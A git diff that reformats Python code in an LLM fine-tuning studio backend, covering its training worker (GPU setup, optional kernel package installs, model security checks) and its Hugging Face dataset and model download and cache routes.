+++ b/studio/backend/core/training/worker.py @@ -36,7 +36,8 @@ from typing import Any, Callable if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.environ: try: if os.path.exists("/dev/dxg") and any( - os.path.exists(_p + "/librocdxg.so") for _p in ("/opt/rocm/lib", "/opt/rocm/lib64") + os.path.exists(_p + "/librocdxg.so") + for _p in ("/opt/rocm/lib", "/opt/rocm/lib64") ): os.environ["HSA_ENABLE_DXG_DETECTION"] = "1" except Exception: @@ -55,7 +56,9 @@ from utils.wheel_utils import ( ) -def _output_dir_from_resume_checkpoint(resume_from_checkpoint: str | None) -> str | None: +def _output_dir_from_resume_checkpoint( + resume_from_checkpoint: str | None, +) -> str | None: if not resume_from_checkpoint: return None path = Path(resume_from_checkpoint) @@ -118,7 +121,9 @@ if sys.platform == "win32": try: if os.path.isdir(_default_root): - for _ver in sorted(os.listdir(_default_root), key = _ver_key, reverse = True): + for _ver in sorted( + os.listdir(_default_root), key = _ver_key, reverse = True + ): _bin = os.path.join(_default_root, _ver, "bin") if os.path.isdir(_bin): _candidates.append(_bin) @@ -259,7 +264,9 @@ def _install_package_wheel_first( "(this may take several minutes)..." ) else: - pypi_status_message = f"Installing {display_name} from PyPI for faster training..." + pypi_status_message = ( + f"Installing {display_name} from PyPI for faster training..." + ) _send_status(event_queue, pypi_status_message) @@ -344,7 +351,8 @@ def _install_package_wheel_first( ) _send_status( event_queue, - f"{display_name} installation timed out after " f"{_run_kwargs.get('timeout')}s", + f"{display_name} installation timed out after " + f"{_run_kwargs.get('timeout')}s", ) return False @@ -462,7 +470,9 @@ def _ensure_flash_linear_attention_unconditional(event_queue: Any) -> bool: if os.getenv(_FLA_SKIP_ENV) == "1": return False if sys.platform == "win32": - logger.info("Skipping flash-linear-attention install: no prebuilt wheel for Windows") + logger.info( + "Skipping flash-linear-attention install: no prebuilt wheel for Windows" + ) return False if sys.version_info < _FLA_MIN_PYTHON: logger.info( @@ -537,7 +547,9 @@ def _ensure_flash_linear_attention_unconditional(event_queue: Any) -> bool: ) except _sp.TimeoutExpired: logger.warning("flash-linear-attention install timed out; continuing") - _send_status(event_queue, "flash-linear-attention install timed out; continuing") + _send_status( + event_queue, "flash-linear-attention install timed out; continuing" + ) return False if result.returncode != 0: @@ -728,7 +740,10 @@ def _rocm_classify_unified_memory(props: Any) -> tuple[str, bool]: # Arch attrs absent — fall back to device-name matching. dev_lower = (getattr(props, "name", "") or "").lower() is_unified = ( - "890m" in dev_lower or "880m" in dev_lower or "8060s" in dev_lower or "8050s" in dev_lower + "890m" in dev_lower + or "880m" in dev_lower + or "8060s" in dev_lower + or "8050s" in dev_lower ) return gcn_arch, is_unified @@ -771,7 +786,9 @@ def _run_pip(cmd: list[str], event_queue: Any, label: str) -> bool: _send_status(event_queue, f"{label} install timed out; continuing") return False if result.returncode != 0: - logger.warning("%s install failed (continuing without it):\n%s", label, result.stdout) + logger.warning( + "%s install failed (continuing without it):\n%s", label, result.stdout + ) _send_status(event_queue, f"{label} install failed; continuing") return False return True @@ -872,7 +889,9 @@ def _ensure_tilelang_backend(event_queue: Any, model_name: str) -> None: # UNSLOTH_STUDIO_SKIP_FAST_PATH_HOOKS=1 falls back to the substring path. -def _rebind_in_already_imported_modules(*, attr_name: str, old_obj: Any, new_obj: Any) -> int: +def _rebind_in_already_imported_modules( + *, attr_name: str, old_obj: Any, new_obj: Any +) -> int: """Rebind `attr_name -> new_obj` in every module that imported `old_obj`. `from X import Y` creates a local binding that reassigning X.Y won't reach. @@ -945,7 +964,9 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: try: ok = bool(install_fn(event_queue)) except Exception as exc: - logger.warning("%s install raised: %s; falling back to torch", gate_name, exc) + logger.warning( + "%s install raised: %s; falling back to torch", gate_name, exc + ) ok = False logger.info("%s hook done; available=%s", gate_name, ok) # post_available_fn handles "gate already True but ancillary kernel broken" @@ -954,7 +975,9 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: try: post_available_fn(event_queue) except Exception as exc: - logger.warning("%s post-available step raised: %s; continuing", gate_name, exc) + logger.warning( + "%s post-available step raised: %s; continuing", gate_name, exc + ) state["installed"] = True return ok @@ -965,7 +988,9 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: def _fla_install(eq: Any) -> bool: # FLA alone ~2.35x; +tilelang adds ~26%. tilelang is GDN-only (Qwen3.5 family). if not _ensure_flash_linear_attention_unconditional(eq): - logger.info("FLA install did not produce an importable runtime; skipping TileLang") + logger.info( + "FLA install did not produce an importable runtime; skipping TileLang" + ) return False if _model_wants_tilelang(model_name): _ensure_tilelang_backend_unconditional(eq) @@ -980,7 +1005,10 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: # FLA imports; repair tilelang if missing or on the broken tvm-ffi list. if not _model_wants_tilelang(model_name): return - if _installed_tvm_ffi_version() not in _TVM_FFI_BROKEN_VERSIONS and _tilelang_importable(): + if ( + _installed_tvm_ffi_version() not in _TVM_FFI_BROKEN_VERSIONS + and _tilelang_importable() + ): return _ensure_tilelang_backend_unconditional(eq) @@ -996,7 +1024,9 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: pypi_version = _CAUSAL_CONV1D_PACKAGE_VERSION, filename_prefix = "causal_conv1d", release_tag = _CAUSAL_CONV1D_RELEASE_TAG, - release_base_url = ("https://github.com/Dao-AILab/causal-conv1d/releases/download"), + release_base_url = ( + "https://github.com/Dao-AILab/causal-conv1d/releases/download" + ), ) return bool(ok) @@ -1016,7 +1046,9 @@ def _install_fast_path_hooks(event_queue: Any, model_name: str) -> None: rebound = _rebind_in_already_imported_modules( attr_name = gate_name, old_obj = original, new_obj = wrapped ) - logger.info("Installed fast-path hook on %s (rebound %d modules)", gate_name, rebound) + logger.info( + "Installed fast-path hook on %s (rebound %d modules)", gate_name, rebound + ) def _should_try_runtime_flash_attn_install(max_seq_length: int) -> bool: @@ -1050,7 +1082,9 @@ def _ensure_flash_attn_for_long_context(event_queue: Any, max_seq_length: int) - _send_status(event_queue, "Continuing without flash-attn") -def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: +def _activate_transformers_version( + model_name: str, hf_token: str | None = None +) -> None: """Activate the correct transformers version BEFORE any ML imports.""" # Ensure backend is on path for utils imports backend_path = str(Path(__file__).resolve().parent.parent.parent) @@ -1062,7 +1096,9 @@ def _activate_transformers_version(model_name: str, hf_token: str | None = None) activate_transformers_for_subprocess(model_name, hf_token) -def _activate_transformers_version_or_warn(model_name: str, hf_token: str | None = None) -> None: +def _activate_transformers_version_or_warn( + model_name: str, hf_token: str | None = None +) -> None: """Activate the required transformers version for the MLX fast-path. Unlike the non-MLX path (which treats activation failure as fatal and @@ -1193,7 +1229,10 @@ def _resize_mlx_vlm_images( image_layout = None, ): if isinstance(value, list): - return [_resize_mlx_vlm_image(image, resize, image_layout = image_layout) for image in value] + return [ + _resize_mlx_vlm_image(image, resize, image_layout = image_layout) + for image in value + ] return _resize_mlx_vlm_image(value, resize, image_layout = image_layout) @@ -1479,7 +1518,9 @@ def _run_mlx_training(event_queue, stop_queue, config): raise NotImplementedError(message) optim_name = _normalize_mlx_studio_optimizer(config.get("optim", "adamw_8bit")) - lr_scheduler_type = _normalize_mlx_studio_scheduler(config.get("lr_scheduler_type", "linear")) + lr_scheduler_type = _normalize_mlx_studio_scheduler( + config.get("lr_scheduler_type", "linear") + ) # ── 1. Load model ── # Force text-only for non-image datasets even on vision-capable models @@ -1513,7 +1554,9 @@ def _run_mlx_training(event_queue, stop_queue, config): from utils.models.model_config import get_base_model_from_lora_identifier # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. - _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + _base = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) if _base: malware_targets.append(_base) except Exception as exc: @@ -1522,7 +1565,9 @@ def _run_mlx_training(event_queue, stop_queue, config): for target in dict.fromkeys(malware_targets): _fs = evaluate_file_security( - target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + target, + hf_token = hf_token, + load_subdirs = security_load_subdirs(target, hf_token), ) if _fs.blocked: _send( @@ -1637,9 +1682,15 @@ def _run_mlx_training(event_queue, stop_queue, config): finetune_language = config.get("finetune_language_layers", True) finetune_attention = config.get("finetune_attention_modules", True) finetune_mlp = config.get("finetune_mlp_modules", True) - finetune_vision = config.get("finetune_vision_layers", False) if is_vlm else False + finetune_vision = ( + config.get("finetune_vision_layers", False) if is_vlm else False + ) - if (finetune_attention or finetune_mlp) and not finetune_language and not finetune_vision: + if ( + (finetune_attention or finetune_mlp) + and not finetune_language + and not finetune_vision + ): finetune_language = True peft_kwargs["finetune_language_layers"] = finetune_language @@ -1672,7 +1723,9 @@ def _run_mlx_training(event_queue, stop_queue, config): if len(file_paths) == 1: p = Path(file_paths[0]) - if p.is_dir() and ((p / "dataset_info.json").exists() or (p / "state.json").exists()): + if p.is_dir() and ( + (p / "dataset_info.json").exists() or (p / "state.json").exists() + ): return load_from_disk(str(p)) all_files = _resolve_mlx_local_dataset_files(file_paths) if not all_files: @@ -1761,7 +1814,9 @@ def _run_mlx_training(event_queue, stop_queue, config): ) else: errors = vlm_info.get("errors", []) - raise ValueError(f"VLM dataset format conversion failed: {'; '.join(errors)}") + raise ValueError( + f"VLM dataset format conversion failed: {'; '.join(errors)}" + ) if eval_dataset is not None: ev_info = format_and_template_dataset( eval_dataset, @@ -2032,7 +2087,11 @@ def _run_mlx_training(event_queue, stop_queue, config): "train/tokens_per_sec": tok_s, "train/peak_gb": peak_gb, "train/num_tokens": num_tokens, - **({"train/grad_norm": grad_norm} if grad_norm is not None else {}), + **( + {"train/grad_norm": grad_norm} + if grad_norm is not None + else {} + ), }, step = step, ) @@ -2055,7 +2114,9 @@ def _run_mlx_training(event_queue, stop_queue, config): _send("progress", step = step, eval_loss = eval_loss) if wandb_run is not None: try: - wandb_run.log({"eval/loss": eval_loss, "eval/perplexity": perplexity}, step = step) + wandb_run.log( + {"eval/loss": eval_loss, "eval/perplexity": perplexity}, step = step + ) except Exception: pass if tb_writer is not None: @@ -2136,7 +2197,9 @@ def run_mlx_training_process( if not transformers_activated: # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers. - _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None) + _activate_transformers_version_or_warn( + model_name, config.get("hf_token") or None + ) from utils.hardware import hardware as _hw @@ -2260,14 +2323,19 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if backend_path not in sys.path: sys.path.insert(0, backend_path) - from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend + from .training import ( + is_apple_silicon_training_platform, + should_use_mlx_training_backend, + ) mlx_backend_requested = is_apple_silicon_training_platform() mlx_transformers_activated = False if mlx_backend_requested and _is_current_process_apple_silicon(): # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers. - _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None) + _activate_transformers_version_or_warn( + model_name, config.get("hf_token") or None + ) mlx_transformers_activated = True from utils.hardware import hardware as _hw @@ -2328,7 +2396,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> from utils.models.model_config import get_base_model_from_lora_identifier # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. - _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None) + _base = get_base_model_from_lora_identifier( + model_name, config.get("hf_token") or None + ) if _base: malware_targets.append(_base) except Exception as exc: @@ -2532,7 +2602,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if os.path.isfile(os.path.join(_scripts_dir, "hipInfo.exe")): import shutil as _shutil if not _shutil.which("hipinfo.exe"): - os.environ["PATH"] = _scripts_dir + os.pathsep + os.environ.get("PATH", "") + os.environ["PATH"] = ( + _scripts_dir + os.pathsep + os.environ.get("PATH", "") + ) # BNB picks a rocm DLL from torch.version.hip, but AMD's Windows BNB # wheel may ship a DLL whose suffix doesn't match. Detect the actual @@ -2573,7 +2645,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> # so later import fixes can still redetect or opt out. DLL # with unparsable name -> seeded value or "72". if _found_rocm_bnb: - _bnb_rocm_ver = _bnb_rocm_ver or os.environ.get("BNB_ROCM_VERSION") or "72" + _bnb_rocm_ver = ( + _bnb_rocm_ver or os.environ.get("BNB_ROCM_VERSION") or "72" + ) os.environ["BNB_ROCM_VERSION"] = _bnb_rocm_ver os.environ["UNSLOTH_BNB_ROCM_VERSION_SOURCE"] = "detected" logger.info( @@ -2596,7 +2670,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> # the rocm version embedded in torch.__version__ when version.hip is # unset (AMD SDK / Radeon wheels). def _hip_ver_at_least(major: int, minor: int) -> bool: - _hip_str = getattr(getattr(_torch_for_rocm, "version", None), "hip", None) + _hip_str = getattr( + getattr(_torch_for_rocm, "version", None), "hip", None + ) if not _hip_str: # Try the standard "+rocmX.Y.Z" embedded version first. _ver_match = re.search(r"rocm(\d+)\.(\d+)", _build_version_for_rocm) @@ -2688,7 +2764,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if prev < self.shape[0]: a_tail = self[prev:].contiguous() b_tail = ( - mat2[-1].contiguous() if mat2.dim() == 3 else mat2.contiguous() + mat2[-1].contiguous() + if mat2.dim() == 3 + else mat2.contiguous() ) pieces.append(_t.mm(a_tail, b_tail)) result = ( @@ -2860,7 +2938,11 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> def _on_progress(progress: TrainingProgress): has_train_loss = progress.step > 0 and progress.loss is not None has_eval_loss = progress.eval_loss is not None - if (progress.step == 0 and progress.total_steps > 0) or has_train_loss or has_eval_loss: + if ( + (progress.step == 0 and progress.total_steps > 0) + or has_train_loss + or has_eval_loss + ): event_queue.put( { "type": "progress", @@ -2971,12 +3053,15 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if dataset is None or trainer.should_stop: if trainer.should_stop: - event_queue.put({"type": "complete", "output_dir": None, "ts": time.time()}) + event_queue.put( + {"type": "complete", "output_dir": None, "ts": time.time()} + ) else: event_queue.put( { "type": "error", - "error": trainer.training_progress.error or "Failed to load dataset", + "error": trainer.training_progress.error + or "Failed to load dataset", "stack": "", "ts": time.time(), } @@ -2997,7 +3082,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> desc = getattr(bar, "desc", "") or "" if total > 0 and n > 0 and desc: pct = min(int(n * 100 / total), 100) - _send_status(event_queue, f"{desc.strip()} {pct}% ({n:,}/{total:,})") + _send_status( + event_queue, f"{desc.strip()} {pct}% ({n:,}/{total:,})" + ) except (AttributeError, ReferenceError): pass _tqdm_stop.wait(3) @@ -3053,7 +3140,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> event_queue.put({"type": "model_load_completed", "ts": time.time()}) if not success or trainer.should_stop: if trainer.should_stop: - event_queue.put({"type": "complete", "output_dir": None, "ts": time.time()}) + event_queue.put( + {"type": "complete", "output_dir": None, "ts": time.time()} + ) else: error_msg = trainer.training_progress.error or "Failed to load model" event_queue.put( @@ -3094,7 +3183,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> lora_r = config.get("lora_r", 128), lora_alpha = config.get("lora_alpha", 32), lora_dropout = config.get("lora_dropout", 0.0), - use_gradient_checkpointing = config.get("gradient_checkpointing", "unsloth"), + use_gradient_checkpointing = config.get( + "gradient_checkpointing", "unsloth" + ), use_rslora = config.get("use_rslora", False), use_loftq = config.get("use_loftq", False), ) @@ -3104,13 +3195,17 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> use_lora = True, finetune_vision_layers = config.get("finetune_vision_layers", True), finetune_language_layers = config.get("finetune_language_layers", True), - finetune_attention_modules = config.get("finetune_attention_modules", True), + finetune_attention_modules = config.get( + "finetune_attention_modules", True + ), finetune_mlp_modules = config.get("finetune_mlp_modules", True), target_modules = config.get("target_modules"), lora_r = config.get("lora_r", 16), lora_alpha = config.get("lora_alpha", 16), lora_dropout = config.get("lora_dropout", 0.0), - use_gradient_checkpointing = config.get("gradient_checkpointing", "unsloth"), + use_gradient_checkpointing = config.get( + "gradient_checkpointing", "unsloth" + ), use_rslora = config.get("use_rslora", False), use_loftq = config.get("use_loftq", False), ) @@ -3120,12 +3215,15 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if not success or trainer.should_stop: if trainer.should_stop: - event_queue.put({"type": "complete", "output_dir": None, "ts": time.time()}) + event_queue.put( + {"type": "complete", "output_dir": None, "ts": time.time()} + ) else: event_queue.put( { "type": "error", - "error": trainer.training_progress.error or "Failed to prepare model", + "error": trainer.training_progress.error + or "Failed to prepare model", "stack": "", "ts": time.time(), } @@ -3184,7 +3282,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> ensure_dir(Path(tensorboard_dir)) # Start training directly — no inner thread, we ARE the subprocess. - dataset_display = config.get("hf_dataset", "") or config.get("uploaded_file", "") or "" + dataset_display = ( + config.get("hf_dataset", "") or config.get("uploaded_file", "") or "" + ) _send_status( event_queue, f'Training "{model_name}"' @@ -3208,7 +3308,9 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> weight_decay = config.get("weight_decay", 0.001), random_seed = config.get("random_seed", 3407), packing = config.get("packing", False), - train_on_completions = False if is_cpt else config.get("train_on_completions", False), + train_on_completions = False + if is_cpt + else config.get("train_on_completions", False), enable_wandb = config.get("enable_wandb", False), wandb_project = config.get("wandb_project", "unsloth-training"), wandb_token = config.get("wandb_token"), @@ -3393,7 +3495,9 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> for target in dict.fromkeys(malware_targets): _fs = evaluate_file_security( - target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) + target, + hf_token = hf_token, + load_subdirs = security_load_subdirs(target, hf_token), ) if _fs.blocked: event_queue.put( @@ -3414,7 +3518,9 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> consent_targets = [model_name] try: - from utils.models.model_config import get_base_model_from_lora_identifier + from utils.models.model_config import ( + get_base_model_from_lora_identifier, + ) _cbase = get_base_model_from_lora_identifier(model_name, hf_token) if _cbase: consent_targets.append(_cbase) @@ -3541,7 +3647,9 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> if candidates: all_files.extend(str(c) for c in candidates) continue - raise ValueError(f"No supported data files in directory: {file_path_obj}") + raise ValueError( + f"No supported data files in directory: {file_path_obj}" + ) else: all_files.append(file_path) diff --git a/studio/backend/hub/routes/datasets.py b/studio/backend/hub/routes/datasets.py index edf4f36ac0..40a595b022 100644 --- a/studio/backend/hub/routes/datasets.py +++ b/studio/backend/hub/routes/datasets.py @@ -61,14 +61,17 @@ async def list_cached_datasets(current_subject: str = Depends(get_current_subjec @router.delete("/cached", response_model = DeleteCachedDatasetResponse) async def delete_cached_dataset( - repo_id: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject) + repo_id: str = Body(..., embed = True), + current_subject: str = Depends(get_current_subject), ): return await cache_inventory.delete_cached_dataset_response(repo_id) @router.get("/download-progress", response_model = DownloadProgressResponse) async def get_dataset_download_progress( - repo_id: str = Query(..., description = "HuggingFace dataset repo ID, e.g. 'unsloth/LaTeX_OCR'"), + repo_id: str = Query( + ..., description = "HuggingFace dataset repo ID, e.g. 'unsloth/LaTeX_OCR'" + ), expected_bytes: int = Query(0, description = "Expected total download size in bytes"), hf_token: Optional[str] = Depends(get_hf_token), current_subject: str = Depends(get_current_subject), @@ -89,9 +92,12 @@ async def download_dataset( return await downloads.download_dataset_response(body, hf_token) -@router.post("/download/cancel", response_model = CancelDatasetDownloadResponse, status_code = 202) +@router.post( + "/download/cancel", response_model = CancelDatasetDownloadResponse, status_code = 202 +) async def cancel_dataset_download( - body: CancelDatasetDownloadRequest, current_subject: str = Depends(get_current_subject) + body: CancelDatasetDownloadRequest, + current_subject: str = Depends(get_current_subject), ): return await downloads.cancel_dataset_download_response(body) diff --git a/studio/backend/hub/routes/inventory.py b/studio/backend/hub/routes/inventory.py index 4b6c179a2b..2fb73f1734 100644 --- a/studio/backend/hub/routes/inventory.py +++ b/studio/backend/hub/routes/inventory.py @@ -136,7 +136,9 @@ async def cancel_download_model( @router.get("/download-status", response_model = DownloadJobStatus) async def get_download_status( repo_id: str = Query(..., description = "HuggingFace repo ID"), - gguf_variant: str = Query("", description = "Quantization variant (empty for safetensors)"), + gguf_variant: str = Query( + "", description = "Quantization variant (empty for safetensors)" + ), current_subject: str = Depends(get_current_subject), ): return await downloads.get_download_status_response(repo_id, gguf_variant) @@ -153,7 +155,9 @@ async def get_active_downloads( @router.get("/transport-status", response_model = TransportStatusResponse) async def get_model_transport_status( repo_id: str = Query(..., description = "HuggingFace repo ID"), - gguf_variant: str = Query("", description = "Quantization variant (empty for safetensors)"), + gguf_variant: str = Query( + "", description = "Quantization variant (empty for safetensors)" + ), hf_token: Optional[str] = Depends(get_hf_token), current_subject: str = Depends(get_current_subject), ): diff --git a/studio/backend/hub/schemas/downloads.py b/studio/backend/hub/schemas/downloads.py index 0a66b33048..500dbb14c4 100644 --- a/studio/backend/hub/schemas/downloads.py +++ b/studio/backend/hub/schemas/downloads.py @@ -7,7 +7,9 @@ from pydantic import BaseModel, Field from typing import List, Literal, Optional -DownloadJobState = Literal["idle", "running", "cancelling", "cancelled", "complete", "error"] +DownloadJobState = Literal[ + "idle", "running", "cancelling", "cancelled", "complete", "error" +] class DownloadModelRequest(BaseModel): diff --git a/studio/backend/hub/schemas/inventory.py b/studio/backend/hub/schemas/inventory.py index ef95efe2f2..20a9fa991c 100644 --- a/studio/backend/hub/schemas/inventory.py +++ b/studio/backend/hub/schemas/inventory.py @@ -17,13 +17,19 @@ ModelRuntime = Literal["llama_cpp", "transformers", "adapter", "unknown"] class GgufVariantDetail(BaseModel): """A single GGUF quantization variant in a HuggingFace repo.""" - filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')") - quant: str = Field(..., description = "Quantization label or internal GGUF variant key") + filename: str = Field( + ..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')" + ) + quant: str = Field( + ..., description = "Quantization label or internal GGUF variant key" + ) display_label: Optional[str] = Field( None, description = "Optional user-facing label when quant is an internal key" ) size_bytes: int = Field(0, description = "File size in bytes") - download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant") + download_size_bytes: int = Field( + 0, description = "Total bytes needed to download this variant" + ) downloaded: bool = Field( False, description = "Whether this variant is already in the local HF cache" ) @@ -135,7 +141,9 @@ class LocalModelInfo(BaseModel): class LocalModelListResponse(BaseModel): """Response schema for listing local/cached models.""" - models_dir: str = Field(..., description = "Directory scanned for custom local models") + models_dir: str = Field( + ..., description = "Directory scanned for custom local models" + ) hf_cache_dir: Optional[str] = Field( None, description = "HF cache root that was scanned", diff --git a/studio/backend/hub/services/__init__.py b/studio/backend/hub/services/__init__.py index e86fcb6f46..be6333260b 100644 --- a/studio/backend/hub/services/__init__.py +++ b/studio/backend/hub/services/__init__.py @@ -12,7 +12,9 @@ from fastapi import HTTPException from hub.utils.hf_cache_state import resolve_destructive_case_matches -def resolve_destructive_repo_ids(repo_id: str, candidates: Iterable[str], *, noun: str) -> set[str]: +def resolve_destructive_repo_ids( + repo_id: str, candidates: Iterable[str], *, noun: str +) -> set[str]: """Cache-dir repo ids a destructive op on *repo_id* may target. Refuses with 409 on ambiguous case-only matches so a delete never removes diff --git a/studio/backend/hub/services/datasets/cache_inventory.py b/studio/backend/hub/services/datasets/cache_inventory.py index a180c9df58..b2d3aba8c3 100644 --- a/studio/backend/hub/services/datasets/cache_inventory.py +++ b/studio/backend/hub/services/datasets/cache_inventory.py @@ -194,7 +194,9 @@ def _hf_datasets_cache_roots() -> list[Path]: if hf_home: _add(Path(hf_home).expanduser() / "datasets") - xdg_cache = Path(os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")).expanduser() + xdg_cache = Path( + os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache") + ).expanduser() _add(xdg_cache / "huggingface" / "datasets") return roots @@ -284,7 +286,11 @@ def _scan_hf_dataset_caches() -> list[dict]: rev_id = getattr(rev, "commit_hash", None) or str(id(rev)) for f in rev.files: blob_path = getattr(f, "blob_path", None) - key = str(blob_path) if blob_path else f"{rev_id}:{f.file_name}" + key = ( + str(blob_path) + if blob_path + else f"{rev_id}:{f.file_name}" + ) unique_blobs[key] = int(f.size_on_disk or 0) total_size = sum(unique_blobs.values()) key = repo_info.repo_id.lower() @@ -320,7 +326,9 @@ def _scan_hf_dataset_caches() -> list[dict]: existing = seen_lower.get(key) if _prefer_dataset_cache_row(row, existing): seen_lower[key] = row - elif existing is not None and bool(existing.get("partial")) == bool(row.get("partial")): + elif existing is not None and bool(existing.get("partial")) == bool( + row.get("partial") + ): existing["size_bytes"] = max(existing["size_bytes"], row["size_bytes"]) existing["cache_path"] = existing.get("cache_path") or row.get("cache_path") if ( @@ -332,7 +340,9 @@ def _scan_hf_dataset_caches() -> list[dict]: for row in _scan_processed_dataset_caches(): key = row["repo_id"].lower() existing = seen_lower.get(key) - if existing is None or (bool(existing.get("partial")) and not bool(row.get("partial"))): + if existing is None or ( + bool(existing.get("partial")) and not bool(row.get("partial")) + ): seen_lower[key] = row else: existing["size_bytes"] = max(existing["size_bytes"], row["size_bytes"]) @@ -366,7 +376,9 @@ async def delete_cached_dataset_response(repo_id: str) -> dict: if not _is_valid_repo_id(repo_id): raise HTTPException(status_code = 400, detail = "Invalid repo_id format") - repo_key = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset") + repo_key = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "dataset" + ) if not downloads.registry.begin_delete(repo_key): raise HTTPException( status_code = 400, @@ -401,7 +413,9 @@ def _delete_cached_dataset_blocking(repo_id: str) -> dict: if str(repo_info.repo_id) not in matched_repo_ids: continue try: - strategy = hf_cache.delete_revisions(*(rev.commit_hash for rev in repo_info.revisions)) + strategy = hf_cache.delete_revisions( + *(rev.commit_hash for rev in repo_info.revisions) + ) strategy.execute() deleted = True except Exception as exc: @@ -430,7 +444,9 @@ def _delete_cached_dataset_blocking(repo_id: str) -> dict: cache_purged = purge_repo_cache_dirs("dataset", repo_id) partial_purged = purge_partial_repo("dataset", repo_id) state_purged = download_manifest.purge_all_state_for_repo("dataset", repo_id) > 0 - if not (deleted or processed_deleted or cache_purged or partial_purged or state_purged): + if not ( + deleted or processed_deleted or cache_purged or partial_purged or state_purged + ): raise HTTPException(status_code = 404, detail = "Dataset not found in cache") return {"status": "deleted", "repo_id": repo_id} diff --git a/studio/backend/hub/services/datasets/downloads.py b/studio/backend/hub/services/datasets/downloads.py index 5efac562fa..8b0cd5ebd7 100644 --- a/studio/backend/hub/services/datasets/downloads.py +++ b/studio/backend/hub/services/datasets/downloads.py @@ -37,9 +37,7 @@ from hub.utils.snapshot_filters import ( logger = get_logger(__name__) -_dataset_size_cache: "OrderedDict[str, tuple[int, frozenset[str], bool, str, float]]" = ( - OrderedDict() -) +_dataset_size_cache: "OrderedDict[str, tuple[int, frozenset[str], bool, str, float]]" = OrderedDict() _dataset_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict() _DATASET_SIZE_CACHE_MAX = 256 _DATASET_SIZE_POS_TTL = 60.0 @@ -88,7 +86,9 @@ def get_dataset_snapshot_metadata_cached( ) total = total_size_for_siblings(info.siblings) hashes = blob_hashes_for_siblings(info.siblings) - restricted = bool(getattr(info, "private", False) or getattr(info, "gated", False)) + restricted = bool( + getattr(info, "private", False) or getattr(info, "gated", False) + ) except Exception: with _dataset_size_cache_lock: _dataset_size_neg_cache[cache_key] = time.monotonic() @@ -132,7 +132,9 @@ async def get_dataset_download_progress_response( ) -def _dataset_status(key: str, *, repo_id: Optional[str] = None) -> DatasetDownloadJobStatus: +def _dataset_status( + key: str, *, repo_id: Optional[str] = None +) -> DatasetDownloadJobStatus: state, error, generation = download_lifecycle.idle_status( _registry, key, @@ -154,7 +156,9 @@ async def download_dataset_response( detail = f"Invalid repo_id: {repo_id!r}", ) # Canonicalize so two different-cased paste-ins share one job + cache dir. - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "dataset" + ) key = _download_job_key(repo_id) use_xet = download_lifecycle.resolve_effective_use_xet(body.use_xet) @@ -212,7 +216,9 @@ async def cancel_dataset_download_response(body: CancelDatasetDownloadRequest) - status_code = 400, detail = f"Invalid repo_id: {repo_id!r}", ) - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "dataset" + ) key = _download_job_key(repo_id) state = download_lifecycle.cancel_worker( @@ -225,21 +231,29 @@ async def cancel_dataset_download_response(body: CancelDatasetDownloadRequest) - return {"repo_id": repo_id, "state": state} -async def get_dataset_download_status_response(repo_id: str) -> DatasetDownloadJobStatus: +async def get_dataset_download_status_response( + repo_id: str, +) -> DatasetDownloadJobStatus: """Return the latest state of a background dataset download job.""" repo_id = repo_id.strip() if not _is_valid_repo_id(repo_id): return DatasetDownloadJobStatus(state = "idle") - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "dataset" + ) 